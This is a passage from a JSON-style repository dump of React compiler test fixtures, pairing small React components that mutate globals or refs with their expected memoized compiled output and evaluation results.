y;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allocating-primitive-as-dep.js",
    "content": "// @enablePreserveExistingMemoizationGuarantees:false\n// bar(props.b) is an allocating expression that produces a primitive, which means\n// that Forget should memoize it.\n// Correctness:\n//   - y depends on either bar(props.b) or bar(props.b) + 1\nfunction AllocatingPrimitiveAsDep(props) {\n  let y = foo(bar(props).b + 1);\n  return y;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-assigning-ref-accessing-function-to-object-property-if-not-mutated.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useRef} from 'react';\nimport {Stringify} from 'shared-runtime';\n\nfunction Component(props) {\n  const ref = useRef(props.value);\n  const object = {};\n  object.foo = () => ref.current;\n  return <Stringify object={object} shouldInvokeFns={true} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 42}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { useRef } from \"react\";\nimport { Stringify } from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(1);\n  const ref = useRef(props.value);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    const object = {};\n    object.foo = () => ref.current;\n    t0 = <Stringify object={object} shouldInvokeFns={true} />;\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ value: 42 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"object\":{\"foo\":{\"kind\":\"Function\",\"result\":42}},\"shouldInvokeFns\":true}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-assigning-ref-accessing-function-to-object-property-if-not-mutated.js",
    "content": "import {useRef} from 'react';\nimport {Stringify} from 'shared-runtime';\n\nfunction Component(props) {\n  const ref = useRef(props.value);\n  const object = {};\n  object.foo = () => ref.current;\n  return <Stringify object={object} shouldInvokeFns={true} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 42}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-assigning-to-global-in-function-spread-as-jsx.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableNewMutationAliasingModel:false\nfunction Component() {\n  const foo = () => {\n    someGlobal = true;\n  };\n  // spreading a function is weird, but it doesn't call the function so this is allowed\n  return <div {...foo} />;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enableNewMutationAliasingModel:false\nfunction Component() {\n  const $ = _c(1);\n  const foo = _temp;\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = <div {...foo} />;\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\nfunction _temp() {\n  someGlobal = true;\n}\n\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-assigning-to-global-in-function-spread-as-jsx.js",
    "content": "// @enableNewMutationAliasingModel:false\nfunction Component() {\n  const foo = () => {\n    someGlobal = true;\n  };\n  // spreading a function is weird, but it doesn't call the function so this is allowed\n  return <div {...foo} />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-global-mutation-in-effect-indirect-usecallback.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees\nimport {useCallback, useEffect, useState} from 'react';\n\nlet someGlobal = {};\n\nfunction Component() {\n  const [state, setState] = useState(someGlobal);\n\n  const setGlobal = useCallback(() => {\n    someGlobal.value = true;\n  }, []);\n  useEffect(() => {\n    setGlobal();\n  }, []);\n\n  useEffect(() => {\n    setState(someGlobal.value);\n  }, [someGlobal]);\n\n  return <div>{String(state)}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validatePreserveExistingMemoizationGuarantees\nimport { useCallback, useEffect, useState } from \"react\";\n\nlet someGlobal = {};\n\nfunction Component() {\n  const $ = _c(6);\n  const [state, setState] = useState(someGlobal);\n\n  const setGlobal = _temp;\n  let t0;\n  let t1;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = () => {\n      setGlobal();\n    };\n    t1 = [];\n    $[0] = t0;\n    $[1] = t1;\n  } else {\n    t0 = $[0];\n    t1 = $[1];\n  }\n  useEffect(t0, t1);\n  let t2;\n  let t3;\n  if ($[2] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t2 = () => {\n      setState(someGlobal.value);\n    };\n    t3 = [someGlobal];\n    $[2] = t2;\n    $[3] = t3;\n  } else {\n    t2 = $[2];\n    t3 = $[3];\n  }\n  useEffect(t2, t3);\n\n  const t4 = String(state);\n  let t5;\n  if ($[4] !== t4) {\n    t5 = <div>{t4}</div>;\n    $[4] = t4;\n    $[5] = t5;\n  } else {\n    t5 = $[5];\n  }\n  return t5;\n}\nfunction _temp() {\n  someGlobal.value = true;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>true</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-global-mutation-in-effect-indirect-usecallback.js",
    "content": "// @validatePreserveExistingMemoizationGuarantees\nimport {useCallback, useEffect, useState} from 'react';\n\nlet someGlobal = {};\n\nfunction Component() {\n  const [state, setState] = useState(someGlobal);\n\n  const setGlobal = useCallback(() => {\n    someGlobal.value = true;\n  }, []);\n  useEffect(() => {\n    setGlobal();\n  }, []);\n\n  useEffect(() => {\n    setState(someGlobal.value);\n  }, [someGlobal]);\n\n  return <div>{String(state)}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-global-mutation-in-effect-indirect.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useEffect, useState} from 'react';\n\nlet someGlobal = {};\n\nfunction Component() {\n  const [state, setState] = useState(someGlobal);\n\n  const setGlobal = () => {\n    someGlobal.value = true;\n  };\n  useEffect(() => {\n    setGlobal();\n  }, []);\n\n  useEffect(() => {\n    setState(someGlobal.value);\n  }, [someGlobal]);\n\n  return <div>{String(state)}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { useEffect, useState } from \"react\";\n\nlet someGlobal = {};\n\nfunction Component() {\n  const $ = _c(6);\n  const [state, setState] = useState(someGlobal);\n\n  const setGlobal = _temp;\n  let t0;\n  let t1;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = () => {\n      setGlobal();\n    };\n    t1 = [];\n    $[0] = t0;\n    $[1] = t1;\n  } else {\n    t0 = $[0];\n    t1 = $[1];\n  }\n  useEffect(t0, t1);\n  let t2;\n  let t3;\n  if ($[2] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t2 = () => {\n      setState(someGlobal.value);\n    };\n    t3 = [someGlobal];\n    $[2] = t2;\n    $[3] = t3;\n  } else {\n    t2 = $[2];\n    t3 = $[3];\n  }\n  useEffect(t2, t3);\n\n  const t4 = String(state);\n  let t5;\n  if ($[4] !== t4) {\n    t5 = <div>{t4}</div>;\n    $[4] = t4;\n    $[5] = t5;\n  } else {\n    t5 = $[5];\n  }\n  return t5;\n}\nfunction _temp() {\n  someGlobal.value = true;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>true</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-global-mutation-in-effect-indirect.js",
    "content": "import {useEffect, useState} from 'react';\n\nlet someGlobal = {};\n\nfunction Component() {\n  const [state, setState] = useState(someGlobal);\n\n  const setGlobal = () => {\n    someGlobal.value = true;\n  };\n  useEffect(() => {\n    setGlobal();\n  }, []);\n\n  useEffect(() => {\n    setState(someGlobal.value);\n  }, [someGlobal]);\n\n  return <div>{String(state)}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-global-mutation-unused-usecallback.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useCallback, useEffect, useState} from 'react';\n\nfunction Component() {\n  const callback = useCallback(() => {\n    window.foo = true;\n  }, []);\n\n  return <div>Ok</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { useCallback, useEffect, useState } from \"react\";\n\nfunction Component() {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = <div>Ok</div>;\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\nfunction _temp() {\n  window.foo = true;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>Ok</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-global-mutation-unused-usecallback.js",
    "content": "import {useCallback, useEffect, useState} from 'react';\n\nfunction Component() {\n  const callback = useCallback(() => {\n    window.foo = true;\n  }, []);\n\n  return <div>Ok</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-global-reassignment-in-effect-indirect.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useEffect, useState} from 'react';\n\nlet someGlobal = false;\n\nfunction Component() {\n  const [state, setState] = useState(someGlobal);\n\n  const setGlobal = () => {\n    someGlobal = true;\n  };\n  useEffect(() => {\n    setGlobal();\n  }, []);\n\n  useEffect(() => {\n    setState(someGlobal);\n  }, [someGlobal]);\n\n  return <div>{String(state)}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { useEffect, useState } from \"react\";\n\nlet someGlobal = false;\n\nfunction Component() {\n  const $ = _c(6);\n  const [state, setState] = useState(someGlobal);\n\n  const setGlobal = _temp;\n  let t0;\n  let t1;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = () => {\n      setGlobal();\n    };\n    t1 = [];\n    $[0] = t0;\n    $[1] = t1;\n  } else {\n    t0 = $[0];\n    t1 = $[1];\n  }\n  useEffect(t0, t1);\n  let t2;\n  let t3;\n  if ($[2] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t2 = () => {\n      setState(someGlobal);\n    };\n    t3 = [someGlobal];\n    $[2] = t2;\n    $[3] = t3;\n  } else {\n    t2 = $[2];\n    t3 = $[3];\n  }\n  useEffect(t2, t3);\n\n  const t4 = String(state);\n  let t5;\n  if ($[4] !== t4) {\n    t5 = <div>{t4}</div>;\n    $[4] = t4;\n    $[5] = t5;\n  } else {\n    t5 = $[5];\n  }\n  return t5;\n}\nfunction _temp() {\n  someGlobal = true;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>true</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-global-reassignment-in-effect-indirect.js",
    "content": "import {useEffect, useState} from 'react';\n\nlet someGlobal = false;\n\nfunction Component() {\n  const [state, setState] = useState(someGlobal);\n\n  const setGlobal = () => {\n    someGlobal = true;\n  };\n  useEffect(() => {\n    setGlobal();\n  }, []);\n\n  useEffect(() => {\n    setState(someGlobal);\n  }, [someGlobal]);\n\n  return <div>{String(state)}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-global-reassignment-in-effect.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useEffect, useState} from 'react';\n\nlet someGlobal = false;\n\nfunction Component() {\n  const [state, setState] = useState(someGlobal);\n\n  useEffect(() => {\n    someGlobal = true;\n  }, []);\n\n  useEffect(() => {\n    setState(someGlobal);\n  }, [someGlobal]);\n\n  return <div>{String(state)}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { useEffect, useState } from \"react\";\n\nlet someGlobal = false;\n\nfunction Component() {\n  const $ = _c(5);\n  const [state, setState] = useState(someGlobal);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = [];\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  useEffect(_temp, t0);\n  let t1;\n  let t2;\n  if ($[1] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t1 = () => {\n      setState(someGlobal);\n    };\n    t2 = [someGlobal];\n    $[1] = t1;\n    $[2] = t2;\n  } else {\n    t1 = $[1];\n    t2 = $[2];\n  }\n  useEffect(t1, t2);\n\n  const t3 = String(state);\n  let t4;\n  if ($[3] !== t3) {\n    t4 = <div>{t3}</div>;\n    $[3] = t3;\n    $[4] = t4;\n  } else {\n    t4 = $[4];\n  }\n  return t4;\n}\nfunction _temp() {\n  someGlobal = true;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>true</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-global-reassignment-in-effect.js",
    "content": "import {useEffect, useState} from 'react';\n\nlet someGlobal = false;\n\nfunction Component() {\n  const [state, setState] = useState(someGlobal);\n\n  useEffect(() => {\n    someGlobal = true;\n  }, []);\n\n  useEffect(() => {\n    setState(someGlobal);\n  }, [someGlobal]);\n\n  return <div>{String(state)}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-merge-refs-pattern.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableTreatRefLikeIdentifiersAsRefs @validateRefAccessDuringRender\n\nimport {useRef} from 'react';\n\nfunction Component() {\n  const ref = useRef(null);\n  const ref2 = useRef(null);\n  const mergedRef = mergeRefs([ref], ref2);\n\n  return <Stringify ref={mergedRef} />;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enableTreatRefLikeIdentifiersAsRefs @validateRefAccessDuringRender\n\nimport { useRef } from \"react\";\n\nfunction Component() {\n  const $ = _c(1);\n  const ref = useRef(null);\n  const ref2 = useRef(null);\n  const mergedRef = mergeRefs([ref], ref2);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = <Stringify ref={mergedRef} />;\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-merge-refs-pattern.js",
    "content": "// @enableTreatRefLikeIdentifiersAsRefs @validateRefAccessDuringRender\n\nimport {useRef} from 'react';\n\nfunction Component() {\n  const ref = useRef(null);\n  const ref2 = useRef(null);\n  const mergedRef = mergeRefs([ref], ref2);\n\n  return <Stringify ref={mergedRef} />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-modify-global-in-callback-jsx.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false\nimport {useMemo} from 'react';\n\nconst someGlobal = {value: 0};\n\nfunction Component({value}) {\n  const onClick = () => {\n    someGlobal.value = value;\n  };\n  return useMemo(() => {\n    return <div onClick={onClick}>{someGlobal.value}</div>;\n  }, []);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 0}],\n  sequentialRenders: [\n    {value: 1},\n    {value: 1},\n    {value: 42},\n    {value: 42},\n    {value: 0},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false\nimport { useMemo } from \"react\";\n\nconst someGlobal = { value: 0 };\n\nfunction Component(t0) {\n  const $ = _c(4);\n  const { value } = t0;\n  let t1;\n  if ($[0] !== value) {\n    t1 = () => {\n      someGlobal.value = value;\n    };\n    $[0] = value;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  const onClick = t1;\n  let t2;\n  if ($[2] !== onClick) {\n    t2 = <div onClick={onClick}>{someGlobal.value}</div>;\n    $[2] = onClick;\n    $[3] = t2;\n  } else {\n    t2 = $[3];\n  }\n  return t2;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ value: 0 }],\n  sequentialRenders: [\n    { value: 1 },\n    { value: 1 },\n    { value: 42 },\n    { value: 42 },\n    { value: 0 },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>0</div>\n<div>0</div>\n<div>0</div>\n<div>0</div>\n<div>0</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-modify-global-in-callback-jsx.js",
    "content": "// @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false\nimport {useMemo} from 'react';\n\nconst someGlobal = {value: 0};\n\nfunction Component({value}) {\n  const onClick = () => {\n    someGlobal.value = value;\n  };\n  return useMemo(() => {\n    return <div onClick={onClick}>{someGlobal.value}</div>;\n  }, []);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 0}],\n  sequentialRenders: [\n    {value: 1},\n    {value: 1},\n    {value: 42},\n    {value: 42},\n    {value: 0},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-mutate-global-in-effect-fixpoint.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useEffect, useState} from 'react';\n\nlet someGlobal = {value: null};\n\nfunction Component() {\n  const [state, setState] = useState(someGlobal);\n\n  // NOTE: if we initialize to eg null or a local, then it won't be a definitively global\n  // mutation below when we modify `y`. The point of this is example is that if all control\n  // flow paths produce a global, we allow the mutation in an effect\n  let x = someGlobal;\n  while (x == null) {\n    x = someGlobal;\n  }\n\n  // capture into a separate variable that is not a context variable.\n  const y = x;\n  /**\n   * Note that this fixture currently produces a stale effect closure if `y = x\n   * = someGlobal` changes between renders. Under current compiler assumptions,\n   * that would be a rule of react violation.\n   */\n  useEffect(() => {\n    y.value = 'hello';\n  });\n\n  useEffect(() => {\n    setState(someGlobal.value);\n  }, [someGlobal]);\n\n  return <div>{String(state)}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { useEffect, useState } from \"react\";\n\nlet someGlobal = { value: null };\n\nfunction Component() {\n  const $ = _c(5);\n  const [state, setState] = useState(someGlobal);\n\n  let x = someGlobal;\n  while (x == null) {\n    x = someGlobal;\n  }\n\n  const y = x;\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = () => {\n      y.value = \"hello\";\n    };\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  useEffect(t0);\n  let t1;\n  let t2;\n  if ($[1] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t1 = () => {\n      setState(someGlobal.value);\n    };\n    t2 = [someGlobal];\n    $[1] = t1;\n    $[2] = t2;\n  } else {\n    t1 = $[1];\n    t2 = $[2];\n  }\n  useEffect(t1, t2);\n\n  const t3 = String(state);\n  let t4;\n  if ($[3] !== t3) {\n    t4 = <div>{t3}</div>;\n    $[3] = t3;\n    $[4] = t4;\n  } else {\n    t4 = $[4];\n  }\n  return t4;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>hello</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-mutate-global-in-effect-fixpoint.js",
    "content": "import {useEffect, useState} from 'react';\n\nlet someGlobal = {value: null};\n\nfunction Component() {\n  const [state, setState] = useState(someGlobal);\n\n  // NOTE: if we initialize to eg null or a local, then it won't be a definitively global\n  // mutation below when we modify `y`. The point of this is example is that if all control\n  // flow paths produce a global, we allow the mutation in an effect\n  let x = someGlobal;\n  while (x == null) {\n    x = someGlobal;\n  }\n\n  // capture into a separate variable that is not a context variable.\n  const y = x;\n  /**\n   * Note that this fixture currently produces a stale effect closure if `y = x\n   * = someGlobal` changes between renders. Under current compiler assumptions,\n   * that would be a rule of react violation.\n   */\n  useEffect(() => {\n    y.value = 'hello';\n  });\n\n  useEffect(() => {\n    setState(someGlobal.value);\n  }, [someGlobal]);\n\n  return <div>{String(state)}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-mutating-ref-in-callback-passed-to-jsx-indirect.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateRefAccessDuringRender\nimport {useRef} from 'react';\n\nfunction Component() {\n  const ref = useRef(null);\n\n  const setRef = () => {\n    if (ref.current !== null) {\n      ref.current = '';\n    }\n  };\n\n  const onClick = () => {\n    setRef();\n  };\n\n  return (\n    <>\n      <input ref={ref} />\n      <button onClick={onClick} />\n    </>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validateRefAccessDuringRender\nimport { useRef } from \"react\";\n\nfunction Component() {\n  const $ = _c(2);\n  const ref = useRef(null);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    const setRef = () => {\n      if (ref.current !== null) {\n        ref.current = \"\";\n      }\n    };\n    t0 = () => {\n      setRef();\n    };\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const onClick = t0;\n  let t1;\n  if ($[1] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t1 = (\n      <>\n        <input ref={ref} />\n        <button onClick={onClick} />\n      </>\n    );\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) <input><button></button>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-mutating-ref-in-callback-passed-to-jsx-indirect.tsx",
    "content": "// @validateRefAccessDuringRender\nimport {useRef} from 'react';\n\nfunction Component() {\n  const ref = useRef(null);\n\n  const setRef = () => {\n    if (ref.current !== null) {\n      ref.current = '';\n    }\n  };\n\n  const onClick = () => {\n    setRef();\n  };\n\n  return (\n    <>\n      <input ref={ref} />\n      <button onClick={onClick} />\n    </>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-mutating-ref-in-callback-passed-to-jsx.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateRefAccessDuringRender\nimport {useRef} from 'react';\n\nfunction Component() {\n  const ref = useRef(null);\n\n  const onClick = () => {\n    if (ref.current !== null) {\n      ref.current = '';\n    }\n  };\n\n  return (\n    <>\n      <input ref={ref} />\n      <button onClick={onClick} />\n    </>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validateRefAccessDuringRender\nimport { useRef } from \"react\";\n\nfunction Component() {\n  const $ = _c(2);\n  const ref = useRef(null);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = () => {\n      if (ref.current !== null) {\n        ref.current = \"\";\n      }\n    };\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const onClick = t0;\n  let t1;\n  if ($[1] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t1 = (\n      <>\n        <input ref={ref} />\n        <button onClick={onClick} />\n      </>\n    );\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) <input><button></button>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-mutating-ref-in-callback-passed-to-jsx.tsx",
    "content": "// @validateRefAccessDuringRender\nimport {useRef} from 'react';\n\nfunction Component() {\n  const ref = useRef(null);\n\n  const onClick = () => {\n    if (ref.current !== null) {\n      ref.current = '';\n    }\n  };\n\n  return (\n    <>\n      <input ref={ref} />\n      <button onClick={onClick} />\n    </>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-mutating-ref-property-in-callback-passed-to-jsx-indirect.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateRefAccessDuringRender\nimport {useRef} from 'react';\n\nfunction Component() {\n  const ref = useRef(null);\n\n  const setRef = () => {\n    if (ref.current !== null) {\n      ref.current.value = '';\n    }\n  };\n\n  const onClick = () => {\n    setRef();\n  };\n\n  return (\n    <>\n      <input ref={ref} />\n      <button onClick={onClick} />\n    </>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validateRefAccessDuringRender\nimport { useRef } from \"react\";\n\nfunction Component() {\n  const $ = _c(2);\n  const ref = useRef(null);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    const setRef = () => {\n      if (ref.current !== null) {\n        ref.current.value = \"\";\n      }\n    };\n    t0 = () => {\n      setRef();\n    };\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const onClick = t0;\n  let t1;\n  if ($[1] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t1 = (\n      <>\n        <input ref={ref} />\n        <button onClick={onClick} />\n      </>\n    );\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) <input><button></button>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-mutating-ref-property-in-callback-passed-to-jsx-indirect.tsx",
    "content": "// @validateRefAccessDuringRender\nimport {useRef} from 'react';\n\nfunction Component() {\n  const ref = useRef(null);\n\n  const setRef = () => {\n    if (ref.current !== null) {\n      ref.current.value = '';\n    }\n  };\n\n  const onClick = () => {\n    setRef();\n  };\n\n  return (\n    <>\n      <input ref={ref} />\n      <button onClick={onClick} />\n    </>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-mutating-ref-property-in-callback-passed-to-jsx.expect.md",
